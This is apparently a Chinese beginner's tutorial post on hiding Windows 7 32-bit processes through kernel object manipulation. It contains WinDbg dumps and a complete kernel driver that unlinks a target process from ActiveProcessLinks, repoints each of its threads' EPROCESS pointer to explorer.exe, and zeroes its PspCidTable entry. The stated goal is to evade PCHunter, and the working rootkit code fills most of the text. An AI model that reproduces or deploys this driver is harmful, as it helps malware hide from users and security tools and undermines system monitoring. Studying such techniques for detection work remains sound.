总结一下进程隐藏的一些基本套路吧,适合萌新。
关于进程隐藏,网上说的最多的就是hook NtQuerySystemInformation吧,要么就是在内核去操作ActiveProcessLinks链表,这其实都是一个原理,都是去操作内核的活动进程链表,这个方法也着实有效
1
2
3
4
5
6
7
8
9
10
11
|
kd> dt _eprocess ntdll!_EPROCESS + 0x000 Pcb : _KPROCESS
+ 0x098 ProcessLock : _EX_PUSH_LOCK
+ 0x0a0 CreateTime : _LARGE_INTEGER
+ 0x0a8 ExitTime : _LARGE_INTEGER
+ 0x0b0 RundownProtect : _EX_RUNDOWN_REF
+ 0x0b4 UniqueProcessId : Ptr32 Void
+ 0x0b8 ActiveProcessLinks : _LIST_ENTRY
+ 0x0c0 ProcessQuotaUsage : [ 2 ] Uint4B
…
|
关于进程的活动链表:ActiveProcessLinks为双向循环链表,隐藏时只需获取需要隐藏进程的EPROCESS结构,进而获取循环链表地址,做链表删除结点操作,将当前进程的结点结构从链表中删除即可达到隐藏当前进程的目的。
另外,内核中的全局变量PsActiveProcessHead也指向这个系统的EPROCESS链表。
1
2
3
4
5
6
7
8
9
10
|
kd> ln PsActiveProcessHead ( 83f5cf18 ) nt!PsActiveProcessHead | ( 83f5cf20 ) nt!PsReaperWorkItem
Exact matches: nt!PsActiveProcessHead =
kd> dd 83f5cf18
83f5cf18 85fe37d8 83bf6d30 00000000 00000000
kd> ! object 85fe37d8 - b8
Object : 85fe3720 Type : ( 85fe3cb0 ) Process
ObjectHeader: 85fe3708 (new version)
HandleCount: 3 PointerCount: 140
|
可见PsActiveProcessHead为系统进程system的ActiveProcessLinks字段的值。但是,单凭这一个操作只能在任务管理器里面隐藏进程,pchunter下会把你挖出来还把你标红。
除了摘除链表外,还需要操作进程的所有线程对象。获取进程的所有线程对象(ThreadListHead字段指向当前进程的线程链表),在线程对象中有一个指向其进程EPROCESS的指针,将指针修改为explorer.exe的EPROCESS地址;注意不要直接清零,而是选择一个确实存在EPROCESS地址,不然即使不蓝屏,隐藏的进程也死了。这一步完成后接着再来。。
最后一步,抹去PspCidTable中记录的隐藏进程所对应的EPROCESS地址,直接在对应地址上填0即可,当然在进程结束时需要将该数值写会,应为系统在进程结束时会检查PspCidTable中对应的进程对象,没有的话直接蓝屏。这里就需要定位PspCidTable的地址,和如何在表中找到进程对象。
定位PspCidTable的方法当然是通过特征码的扫描,通过PsLookUpProcessByProcessId定位即可;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
kd> u PsLookupProcessByProcessId l 20
nt!PsLookupProcessByProcessId: 84076575 8bff mov edi,edi
84076577 55 push ebp
84076578 8bec mov ebp,esp
8407657a 83ec0c sub esp, 0Ch
840765a6 8a03 mov al,byte ptr [ebx]
… 840765ac 750b jne nt!PsLookupProcessByProcessId + 0x44 ( 840765b9 )
840765ae 8bd3 mov edx,ebx
840765b0 e83d8ee3ff call nt!ObReferenceObjectSafe ( 83eaf3f2 )
840765b5 84c0 test al,al
840765b7 7502 jne nt!PsLookupProcessByProcessId + 0x46 ( 840765bb )
840765b9 33db xor ebx,ebx
840765bb a134cff583 mov eax,dword ptr [nt!PspCidTable ( 83f5cf34 )]
840765c0 33c9 xor ecx,ecx
… |
83f5cf34指向一个_handle_table结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
kd> dt _handle_table 83f5cf34
nt!_HANDLE_TABLE + 0x000 TableCode : 0x87a01210
+ 0x004 QuotaProcess : (null)
+ 0x008 UniqueProcessId : 0x80000020 Void
+ 0x00c HandleLock : _EX_PUSH_LOCK
+ 0x010 HandleTableList : _LIST_ENTRY [ 0x80000300 - 0x80000024 ]
+ 0x018 HandleContentionEvent : _EX_PUSH_LOCK
+ 0x01c DebugInfo : (null)
+ 0x020 ExtraInfoPages : 0n0
+ 0x024 Flags : 0
+ 0x024 StrictFIFO : 0y0
+ 0x028 FirstFreeHandle : 0
+ 0x02c LastFreeHandleEntry : 0x00000113 _HANDLE_TABLE_ENTRY
+ 0x030 HandleCount : 0
+ 0x034 NextHandleNeedingPool : 0
+ 0x038 HandleCountHighWatermark : 0x83f0d35a
|
TableCode的值为PspCidTable的一个指针
可以看到指针指向的地址是0x9453a001,注意这个地址最低位表示当前表的级数,由此可见当前系统PspCidTable有两层,我们掩去最低位
1
2
|
kd> dd 0x87a01210
87a01210 9453a001 00000000 00000000 00000000
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
kd> dd 9453a000
9453a000 87a04000 9454b000 00000000 00000000
得到两个地址 87a04000 , 9454b000 即为一级表的地址,
kd> dd 87a04000
87a04000 00000000 fffffffe 85fe3721 00000000
87a04010 85fe3419 00000000 85ffebb9 00000000
87a04020 85ffe8e1 00000000 85ffe609 00000000
87a04030 85fefac9 00000000 85fef7f1 00000000
87a04040 85fef519 00000000 85fef241 00000000
87a04050 85ff0021 00000000 85ff0d49 00000000
87a04060 85ff0a71 00000000 85ff0799 00000000
87a04070 85ff04c1 00000000 85ff1021 00000000
typedef struct _HANDLE_TABLE_ENTRY { union
{
PVOID Object ;
UINT32 ObAttributes;
struct _HANDLE_TABLE_ENTRY * InfoTable;
UINT32 Value;
};
union
{
UINT32 GrantedAccess;
struct
{
USHORT GrantedAccessIndex;
USHORT CreatorBackTraceIndex;
};
INT32 NextFreeTableEntry;
};
} HANDLE_TABLE_ENTRY, * PHANDLE_TABLE_ENTRY;
|
最后附上代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
|
/ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* 文件名称:hide_process.cpp
* 作 者:Justgoon
* 完成日期:
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * /
#include "hide_process.h" / / 需要隐藏进程pid
#define HIDE_PID 2544 / / explorer进程pid
#define EXPLORER_PID 1840 PEPROCESS pEpro_hide; PEPROCESS pEpro_explorer; PLIST_ENTRY threadLink; PLIST_ENTRY hide_activeProcessLink; ULONG * addressOfObjInPspCidTable;
#pragma PAGEDCODE NTSTATUS EnumTable1(ULONG uTableCode) { ULONG uIndex = 1 ;
PVOID data = NULL;
ANSI_STRING ANSI_ProcessName = { 0 };
UNICODE_STRING UNICODE_ProcessName = { 0 };
PHANDLE_TABLE_ENTRY pHandleTableEntry = NULL;
pHandleTableEntry = (PHANDLE_TABLE_ENTRY)((ULONG)( * (PULONG)uTableCode) + 8 );
for (uIndex = 1 ; uIndex < 0x200 ; uIndex + + )
{
if (pHandleTableEntry - > Object ! = NULL)
{
PEPROCESS pCurEProcess = (PEPROCESS)(((ULONG)pHandleTableEntry - > Object ) & 0xFFFFFFF8 );
if (pEpro_hide = = pCurEProcess)
{
* (ULONG * )pHandleTableEntry = (ULONG) 0x00000000 ;
addressOfObjInPspCidTable = (ULONG * )pHandleTableEntry;
return STATUS_SUCCESS;
}
}
pHandleTableEntry + + ;
}
return STATUS_UNSUCCESSFUL;
} #pragma PAGEDCODE NTSTATUS EnumTable2(ULONG uTableCode) { NTSTATUS status = STATUS_UNSUCCESSFUL;
do
{
status = EnumTable1(uTableCode);
if (NT_SUCCESS(status))
{
return status;
}
uTableCode + = 4 ;
} while ( * (PULONG)uTableCode ! = 0 );
return status;
} #pragma PAGEDCODE NTSTATUS EnumTable3(ULONG uTableCode) { NTSTATUS status = STATUS_UNSUCCESSFUL;
do
{
status = EnumTable2(uTableCode);
if (NT_SUCCESS(status))
{
return status;
}
uTableCode + = 4 ;
} while ( * (PULONG)uTableCode ! = 0 );
return status;
} #pragma PAGEDCODE ULONG GetPspCidTableValue() { PVOID pPsLookupProcessByProcessIdAddress = NULL;
ULONG ulPspCidTableValue = 0 ;
ULONG uIndex = 0 ;
UNICODE_STRING ustrFuncName;
RtlInitUnicodeString(&ustrFuncName, L "PsLookupProcessByProcessId" );
pPsLookupProcessByProcessIdAddress = MmGetSystemRoutineAddress(&ustrFuncName);
if (pPsLookupProcessByProcessIdAddress = = NULL)
{
return ulPspCidTableValue;
}
KdPrint(( "PsLookupProcessByProcessId->%08X" , pPsLookupProcessByProcessIdAddress));
for (uIndex = 0 ; uIndex < 0x1000 ; uIndex + + )
{
if ( * ((PUCHAR)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex)) = = 0x8B &&
* ((PUCHAR)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex + 1 )) = = 0x3D &&
* ((PUCHAR)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex + 6 )) = = 0xE8 )
{
KdPrint(( "Found PspCidTable OK!!" ));
ulPspCidTableValue = * ((PULONG)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex + 2 ));
break ;
}
}
return ulPspCidTableValue;
} #pragma PAGEDCODE NTSTATUS EnumPspCidTable() { ULONG uFlag = 0 ;
ULONG uTableCode = 0 ;
ULONG ulPspCidTable = 0 ;
PVOID data = NULL;
NTSTATUS status = STATUS_SUCCESS;
PHANDLE_TABLE pHandleTable = NULL;
ulPspCidTable = GetPspCidTableValue();
if (ulPspCidTable = = 0 )
{
return STATUS_UNSUCCESSFUL;
}
pHandleTable = (PHANDLE_TABLE)( * (PULONG)ulPspCidTable);
KdPrint(( "pHandleTable->%p" , pHandleTable));
uTableCode = (pHandleTable - >TableCode) & 0xFFFFFFFC ;
uFlag = (pHandleTable - >TableCode) & 0x03 ;
KdPrint(( "uTableCode->%08X" , uTableCode));
switch (uFlag)
{
case 0 :
{
status = EnumTable1(uTableCode);
break ;
}
case 1 :
{
status = EnumTable2(uTableCode);
break ;
}
case 2 :
{
status = EnumTable3(uTableCode);
break ;
}
}
return status;
} #pragma PAGEDCODE NTSTATUS hide_process_by_pid(ULONG pid_hide) { PLIST_ENTRY curItem;
PKTHREAD pKthread;
BOOLEAN isFound = FALSE;
NTSTATUS status = STATUS_SUCCESS;
status = PsLookupProcessByProcessId((HANDLE)pid_hide, &pEpro_hide);
if (!NT_SUCCESS(status))
{
return status;
}
status = PsLookupProcessByProcessId((HANDLE)EXPLORER_PID, &pEpro_explorer);
if (!NT_SUCCESS(status))
{
return status;
}
threadLink = (PLIST_ENTRY)((char * )pEpro_hide + 0x188 );
if (!MmIsAddressValid(threadLink))
{
KdPrint(( "threadLink found err" ));
return STATUS_UNSUCCESSFUL;
}
hide_activeProcessLink = (PLIST_ENTRY)((char * )pEpro_hide + 0x0b8 );
if (!MmIsAddressValid(hide_activeProcessLink))
{
KdPrint(( "activeProcessLink found err" ));
return STATUS_UNSUCCESSFUL;
}
/ / 遍历进程中的线程,修改线程中eprocess指针,使其指向explorer
curItem = threadLink - >Flink;
while (curItem)
{
pKthread = (PKTHREAD)((char * )curItem - 0x268 );
if (MmIsAddressValid(pKthread))
{
* (ULONG * )((char * )pKthread + 0x150 ) = (ULONG)pEpro_explorer;
}
curItem = curItem - >Flink;
if (curItem = = threadLink - >Flink)
{
break ;
}
}
/ / 断activeProcessLink链表
hide_activeProcessLink - >Blink - >Flink = hide_activeProcessLink - >Flink;
hide_activeProcessLink - >Flink - >Blink = hide_activeProcessLink - >Blink;
/ / 抹去PspCidTable中隐藏进程的eprocess地址
status = EnumPspCidTable();
if (!NT_SUCCESS(status))
{
return status;
}
return STATUS_SUCCESS;
} VOID DriverUnload(IN PDRIVER_OBJECT pDriverObject) { PKTHREAD pKthread;
PLIST_ENTRY curItem;
PLIST_ENTRY activeProcessLink;
PLIST_ENTRY activeProcessLinkNext;
/ / 恢复PspCidTable
if (MmIsAddressValid(addressOfObjInPspCidTable))
{
* addressOfObjInPspCidTable = (ULONG)pEpro_hide | 0x00000001 ;
}
/ / 恢复活动进程链
activeProcessLink = (PLIST_ENTRY)((char * )pEpro_explorer + 0x0b8 );
activeProcessLinkNext = activeProcessLink - >Flink;
/ / 循环链表的插入
activeProcessLink - >Flink = hide_activeProcessLink;
hide_activeProcessLink - >Blink = activeProcessLink;
hide_activeProcessLink - >Flink = activeProcessLinkNext;
activeProcessLinkNext - >Blink = hide_activeProcessLink;
/ / 恢复线程中eprocess指针
if (MmIsAddressValid(threadLink))
{
curItem = threadLink - >Flink;
while (curItem)
{
pKthread = (PKTHREAD)((char * )curItem - 0x268 );
if (MmIsAddressValid(pKthread))
{
* (ULONG * )((char * )pKthread + 0x150 ) = (ULONG)pEpro_hide;
}
curItem = curItem - >Flink;
if (curItem = = threadLink - >Flink)
{
break ;
}
}
}
KdPrint(( "DriverUnload" ));
} #pragma INITCODE NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath)
{ pDriverObject - >DriverUnload = DriverUnload;
KdPrint(( "DriverEntry" ));
return hide_process_by_pid(HIDE_PID);
} |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
/ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* 文件名称:hide_process.h
* 作 者:Justgoon
* 完成日期:
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * /
#include #include #define PAGEDCODE code_seg("PAGE") #define LOCKEDCODE code_seg() #define INITCODE code_seg("INIT") #define PAGEDDATA data_seg("PAGE") #define LOCKEDDATA data_seg() #define INITDATA data_seg("INIT") typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object ;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _HANDLE_TABLE_ENTRY { union
{
PVOID Object ;
UINT32 ObAttributes;
struct _HANDLE_TABLE_ENTRY * InfoTable;
UINT32 Value;
};
union
{
UINT32 GrantedAccess;
struct
{
USHORT GrantedAccessIndex;
USHORT CreatorBackTraceIndex;
};
INT32 NextFreeTableEntry;
};
} HANDLE_TABLE_ENTRY, * PHANDLE_TABLE_ENTRY;
typedef struct _HANDLE_TRACE_DB_ENTRY { CLIENT_ID ClientId;
PVOID Handle;
ULONG Type ;
VOID * StackTrace[ 16 ];
} HANDLE_TRACE_DB_ENTRY, * PHANDLE_TRACE_DB_ENTRY;
typedef struct _HANDLE_TRACE_DEBUG_INFO { LONG RefCount;
ULONG TableSize;
ULONG BitMaskFlags;
FAST_MUTEX CloseCompactionLock;
ULONG CurrentStackIndex;
HANDLE_TRACE_DB_ENTRY TraceDb[ 1 ];
} HANDLE_TRACE_DEBUG_INFO, * PHANDLE_TRACE_DEBUG_INFO;
typedef struct _HANDLE_TABLE { ULONG TableCode;
PEPROCESS QuotaProcess;
PVOID UniqueProcessId;
EX_PUSH_LOCK HandleLock;
LIST_ENTRY HandleTableList;
EX_PUSH_LOCK HandleContentionEvent;
PHANDLE_TRACE_DEBUG_INFO DebugInfo;
LONG ExtraInfoPages;
ULONG Flags;
ULONG FirstFreeHandle;
PHANDLE_TABLE_ENTRY LastFreeHandleEntry;
LONG HandleCount;
ULONG NextHandleNeedingPool;
} HANDLE_TABLE, * PHANDLE_TABLE;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath);
|
我自己在测试的时候隐藏notepad 和calc没有问题,但是在隐藏dbgview时虽然它没死,但是好像还是影响到了dbgview导致他没输出,这应该是该线程里eprocess指针导致的问题。 这代码只能在win7 32位下跑啊,代码本身没有什么难度,有几个地方用了硬编码,需要隐藏的进程id 和 explorer的id填在开头。主要的还是这个思路,pchunter一直没有动真格的来检测进程,大家如果感兴趣的话可以按我说的那三个方法,无非就是改几个内存,在windbg里面试一下,不用敲代码都可以